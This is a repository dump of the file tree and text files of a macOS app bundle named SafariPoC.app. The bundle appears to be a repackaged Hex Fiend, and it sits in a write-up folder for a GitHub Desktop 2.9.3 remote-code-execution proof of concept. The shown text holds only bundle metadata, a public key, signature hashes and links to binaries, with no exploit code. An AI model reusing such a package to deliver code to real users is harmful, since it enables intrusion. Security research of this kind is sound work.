Core 2 Duo) 107 | MacBookPro3,2 108 | MacBook Pro Core 2 Duo (17-inch HD, Core 2 Duo) 109 | MacBookPro4,1 110 | MacBook Pro (Core 2 Duo Feb 2008) 111 | MacBookPro5,1 112 | MacBook Pro Intel Core 2 Duo (aluminum unibody) 113 | MacBookPro5,2 114 | MacBook Pro Intel Core 2 Duo (aluminum unibody) 115 | MacBookPro5,3 116 | MacBook Pro Intel Core 2 Duo (aluminum unibody) 117 | MacBookPro5,4 118 | MacBook Pro Intel Core 2 Duo (aluminum unibody) 119 | MacBookPro5,5 120 | MacBook Pro Intel Core 2 Duo (aluminum unibody) 121 | MacBookPro6,1 122 | MacBook Pro Intel Core i5, Intel Core i7 (mid 2010) 123 | MacBookPro6,2 124 | MacBook Pro Intel Core i5, Intel Core i7 (mid 2010) 125 | MacBookPro7,1 126 | MacBook Pro Intel Core 2 Duo (mid 2010) 127 | MacBookPro8,1 128 | MacBook Pro Intel Core i5, Intel Core i7, 13" (early 2011) 129 | MacBookPro8,2 130 | MacBook Pro Intel Core i7, 15" (early 2011) 131 | MacBookPro8,3 132 | MacBook Pro Intel Core i7, 17" (early 2011) 133 | MacBookPro9,1 134 | MacBook Pro (15-inch, Mid 2012) 135 | MacBookPro9,2 136 | MacBook Pro (13-inch, Mid 2012) 137 | MacBookPro10,1 138 | MacBook Pro (Retina, Mid 2012) 139 | MacBookPro10,2 140 | MacBook Pro (Retina, 13-inch, Late 2012) 141 | MacBookPro11,1 142 | MacBook Pro (Retina, 13-inch, Late 2013) 143 | MacBookPro11,2 144 | MacBook Pro (Retina, 15-inch, Late 2013) 145 | MacBookPro11,3 146 | MacBook Pro (Retina, 15-inch, Late 2013) 147 | MacbookPro11,4 148 | MacBook Pro (Retina, 15-inch, Mid 2015) 149 | MacbookPro11,5 150 | MacBook Pro (Retina, 15-inch, Mid 2015) 151 | MacbookPro12,1  152 | MacBook Pro (Retina, 13-inch, Early 2015) 153 | Macmini1,1 154 | Mac Mini (Core Solo/Duo) 155 | Macmini2,1 156 | Mac mini Intel Core 157 | Macmini3,1 158 | Mac mini Intel Core 159 | Macmini4,1 160 | Mac mini Intel Core (Mid 2010) 161 | Macmini5,1 162 | Mac mini (Core i5, Mid 2011) 163 | Macmini5,2 164 | Mac mini (Core i5 or Core i7, Mid 2011) 165 | Macmini5,3 166 | Mac mini (Core i7, Server, Mid 2011) 167 | Macmini6,1 168 | Mac mini (Core i5, Late 2012) 169 | Macmini6,2 170 | Mac mini (Core i7, Normal or Server, Late 2012) 171 | Macmini7,1 172 | Mac mini (Core i5 or Core i7, Late 2014) 173 | MacPro1,1,Quad 174 | Mac Pro 175 | MacPro1,1 176 | Mac Pro (four-core) 177 | MacPro2,1 178 | Mac Pro (eight-core) 179 | MacPro3,1 180 | Mac Pro (January 2008 4- or 8- core "Harpertown") 181 | MacPro4,1 182 | Mac Pro (March 2009) 183 | MacPro5,1 184 | Mac Pro (2010 or 2012) 185 | MacPro6,1 186 | Mac Pro (Late 2013) 187 | PowerBook1,1 188 | PowerBook G3 189 | PowerBook2,1 190 | iBook G3 191 | PowerBook2,2 192 | iBook G3 (FireWire) 193 | PowerBook2,3 194 | iBook G3 195 | PowerBook2,4 196 | iBook G3 197 | PowerBook3,1 198 | PowerBook G3 (FireWire) 199 | PowerBook3,2 200 | PowerBook G4 201 | PowerBook3,3 202 | PowerBook G4 (Gigabit Ethernet) 203 | PowerBook3,4 204 | PowerBook G4 (DVI) 205 | PowerBook3,5 206 | PowerBook G4 (1GHz / 867MHz) 207 | PowerBook4,1 208 | iBook G3 (Dual USB, Late 2001) 209 | PowerBook4,2 210 | iBook G3 (16MB VRAM) 211 | PowerBook4,3 212 | iBook G3 Opaque 16MB VRAM, 32MB VRAM, Early 2003) 213 | PowerBook5,1 214 | PowerBook G4 (17 inch) 215 | PowerBook5,2 216 | PowerBook G4 (15 inch FW 800) 217 | PowerBook5,3 218 | PowerBook G4 (17-inch 1.33GHz) 219 | PowerBook5,4 220 | PowerBook G4 (15 inch 1.5/1.33GHz) 221 | PowerBook5,5 222 | PowerBook G4 (17-inch 1.5GHz) 223 | PowerBook5,6 224 | PowerBook G4 (15 inch 1.67GHz/1.5GHz) 225 | PowerBook5,7 226 | PowerBook G4 (17-inch 1.67GHz) 227 | PowerBook5,8 228 | PowerBook G4 (Double layer SD, 15 inch) 229 | PowerBook5,9 230 | PowerBook G4 (Double layer SD, 17 inch) 231 | PowerBook6,1 232 | PowerBook G4 (12 inch) 233 | PowerBook6,2 234 | PowerBook G4 (12 inch, DVI) 235 | PowerBook6,3 236 | iBook G4 237 | PowerBook6,4 238 | PowerBook G4 (12 inch 1.33GHz) 239 | PowerBook6,5 240 | iBook G4 (Early-Late 2004) 241 | PowerBook6,7 242 | iBook G4 (Mid 2005) 243 | PowerBook6,8 244 | PowerBook G4 (12 inch 1.5GHz) 245 | PowerMac1,1 246 | Power Macintosh G3 (Blue & White) 247 | PowerMac1,2 248 | Power Macintosh G4 (PCI Graphics) 249 | PowerMac2,1 250 | iMac G3 (Slot-loading CD-ROM) 251 | PowerMac2,2 252 | iMac G3 (Summer 2000) 253 | PowerMac3,1 254 | Power Macintosh G4 (AGP Graphics) 255 | PowerMac3,2 256 | Power Macintosh G4 (AGP Graphics) 257 | PowerMac3,3 258 | Power Macintosh G4 (Gigabit Ethernet) 259 | PowerMac3,4 260 | Power Macintosh G4 (Digital Audio) 261 | PowerMac3,5 262 | Power Macintosh G4 (Quick Silver) 263 | PowerMac3,6 264 | Power Macintosh G4 (Mirrored Drive Door) 265 | PowerMac4,1 266 | iMac G3 (Early/Summer 2001) 267 | PowerMac4,2 268 | iMac G4 (Flat Panel) 269 | PowerMac4,4 270 | eMac 271 | PowerMac4,5 272 | iMac G4 (17-inch Flat Panel) 273 | PowerMac5,1 274 | Power Macintosh G4 Cube 275 | PowerMac5,2 276 | Power Mac G4 Cube 277 | PowerMac6,1 278 | iMac G4 (USB 2.0) 279 | PowerMac6,3 280 | iMac G4 (20-inch Flat Panel) 281 | PowerMac6,4 282 | eMac (USB 2.0, 2005) 283 | PowerMac7,2 284 | Power Macintosh G5 285 | PowerMac7,3 286 | Power Macintosh G5 287 | PowerMac8,1 288 | iMac G5 289 | PowerMac8,2 290 | iMac G5 (Ambient Light Sensor) 291 | PowerMac9,1 292 | Power Macintosh G5 (Late 2005) 293 | PowerMac10,1 294 | Mac Mini G4 295 | PowerMac10,2 296 | Mac Mini (Late 2005) 297 | PowerMac11,2 298 | Power Macintosh G5 (Late 2005) 299 | PowerMac12,1 300 | iMac G5 (iSight) 301 | RackMac1,1 302 | Xserve G4 303 | RackMac1,2 304 | Xserve G4 (slot-loading, cluster node) 305 | RackMac3,1 306 | Xserve G5 307 | Xserve1,1 308 | Xserve (Intel Xeon) 309 | Xserve2,1 310 | Xserve (January 2008 quad-core) 311 | Xserve3,1 312 | Xserve (early 2009) 313 | 314 | 315 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/SUStatus.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/SUStatus.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUAutomaticUpdateAlert.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUAutomaticUpdateAlert.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUUpdateAlert.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUUpdateAlert.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUUpdatePermissionPrompt.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUUpdatePermissionPrompt.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/Sparkle.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/Sparkle.strings -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fr_CA.lproj: -------------------------------------------------------------------------------- 1 | fr.lproj -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt.lproj: -------------------------------------------------------------------------------- 1 | pt_BR.lproj -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUAutomaticUpdateAlert.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUAutomaticUpdateAlert.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUUpdateAlert.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUUpdateAlert.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUUpdatePermissionPrompt.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUUpdatePermissionPrompt.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/Sparkle.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/Sparkle.strings -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUAutomaticUpdateAlert.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUAutomaticUpdateAlert.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUUpdateAlert.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUUpdateAlert.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUUpdatePermissionPrompt.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUUpdatePermissionPrompt.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/Sparkle.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/Sparkle.strings -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Sparkle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Sparkle -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/Current: -------------------------------------------------------------------------------- 1 | A -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BuildMachineOSBuild 6 | 20D91 7 | CFBundleDevelopmentRegion 8 | English 9 | CFBundleDocumentTypes 10 | 11 | 12 | CFBundleTypeName 13 | Data 14 | CFBundleTypeRole 15 | Editor 16 | LSHandlerRank 17 | Owner 18 | LSItemContentTypes 19 | 20 | public.data 21 | 22 | NSDocumentClass 23 | FileDataDocument 24 | 25 | 26 | CFBundleTypeName 27 | Other 28 | CFBundleTypeRole 29 | Editor 30 | LSHandlerRank 31 | Alternate 32 | LSItemContentTypes 33 | 34 | public.executable 35 | public.text 36 | public.archive 37 | public.disk-image 38 | public.image 39 | public.audio 40 | public.movie 41 | com.adobe.pdf 42 | 43 | NSDocumentClass 44 | FileDataDocument 45 | 46 | 47 | CFBundleTypeExtensions 48 | 49 | * 50 | 51 | CFBundleTypeName 52 | AllTypes 53 | CFBundleTypeOSTypes 54 | 55 | **** 56 | 57 | CFBundleTypeRole 58 | Editor 59 | LSHandlerRank 60 | Alternate 61 | NSDocumentClass 62 | FileDataDocument 63 | 64 | 65 | CFBundleExecutable 66 | Hex Fiend 67 | CFBundleIconFile 68 | hex_icon 69 | CFBundleIdentifier 70 | com.ridiculousfish.HexFiend 71 | CFBundleInfoDictionaryVersion 72 | 6.0 73 | CFBundleName 74 | Hex Fiend 75 | CFBundlePackageType 76 | APPL 77 | CFBundleShortVersionString 78 | 2.14.1 79 | CFBundleSignature 80 | ???? 81 | CFBundleSupportedPlatforms 82 | 83 | MacOSX 84 | 85 | CFBundleVersion 86 | 1615771335 87 | DTCompiler 88 | com.apple.compilers.llvm.clang.1_0 89 | DTPlatformBuild 90 | 12D4e 91 | DTPlatformName 92 | macosx 93 | DTPlatformVersion 94 | 11.1 95 | DTSDKBuild 96 | 20C63 97 | DTSDKName 98 | macosx11.1 99 | DTXcode 100 | 1240 101 | DTXcodeBuild 102 | 12D4e 103 | LSApplicationCategoryType 104 | public.app-category.developer-tools 105 | LSMinimumSystemVersion 106 | 10.11 107 | NSMainNibFile 108 | MainMenu 109 | NSPrincipalClass 110 | NSApplication 111 | NSSupportsSuddenTermination 112 | YES 113 | SMPrivilegedExecutables 114 | 115 | com.ridiculousfish.HexFiend.PrivilegedHelper 116 | anchor apple generic and identifier com.ridiculousfish.HexFiend.PrivilegedHelper and certificate leaf[subject.CN] = "Developer ID Application: Kevin Wojniak (QK92QP33YN)" 117 | 118 | SUFeedURL 119 | https://raw.githubusercontent.com/ridiculousfish/HexFiend/master/app/appcast.xml 120 | SUPublicDSAKeyFile 121 | dsa_pub.pem 122 | 123 | 124 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Library/LaunchServices/com.ridiculousfish.HexFiend.PrivilegedHelper: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Library/LaunchServices/com.ridiculousfish.HexFiend.PrivilegedHelper -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/MacOS/Hex Fiend: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/MacOS/Hex Fiend -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/PkgInfo: -------------------------------------------------------------------------------- 1 | APPL???? -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/BinaryTemplateController.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/BinaryTemplateController.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/BinaryTemplatePopover.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/BinaryTemplatePopover.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/ChooseStringEncodingDialog.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/ChooseStringEncodingDialog.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/DataInspectorView.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/DataInspectorView.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/DiffComputationBanner.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/DiffComputationBanner.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/DiffDocument.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/DiffDocument.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/DiffRangeDialog.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/DiffRangeDialog.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/FindReplaceBanner.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/FindReplaceBanner.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/JumpToOffsetBanner.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/JumpToOffsetBanner.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/MainMenu.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/MainMenu.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/MoveSelectionByBanner.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/MoveSelectionByBanner.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/MyDocument.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/MyDocument.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/OpenAccessoryView.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/OpenAccessoryView.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/OpenDriveDialog.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/OpenDriveDialog.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/Preferences.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/Preferences.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/SaveBanner.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/Base.lproj/SaveBanner.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/dsa_pub.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | 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 35 | rJMf+c+Cz1hZfhmxSYg= 36 | -----END PUBLIC KEY----- 37 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/hex_icon.icns: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/hex_icon.icns -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/hexf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Resources/hexf -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/_CodeSignature/CodeResources: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | files 6 | 7 | Resources/Base.lproj/BinaryTemplateController.nib 8 | 9 | z86CEd5Ycnh5eijrqu0UIvCAX7U= 10 | 11 | Resources/Base.lproj/BinaryTemplatePopover.nib 12 | 13 | 4ilzEN1NoYaDb0oSHDRBlEyJNfk= 14 | 15 | Resources/Base.lproj/ChooseStringEncodingDialog.nib 16 | 17 | nD4QkJuA9TE2lIGeJeLZ/3mLwFc= 18 | 19 | Resources/Base.lproj/DataInspectorView.nib 20 | 21 | AqIZUZx6Yaz8oqh/6n/v6yeAesI= 22 | 23 | Resources/Base.lproj/DiffComputationBanner.nib 24 | 25 | x+KJAm2sceNHYnPIi/1aTm97LSg= 26 | 27 | Resources/Base.lproj/DiffDocument.nib 28 | 29 | ZUhp9CLCmw5hG5j0ZFP/EiqXdRI= 30 | 31 | Resources/Base.lproj/DiffRangeDialog.nib 32 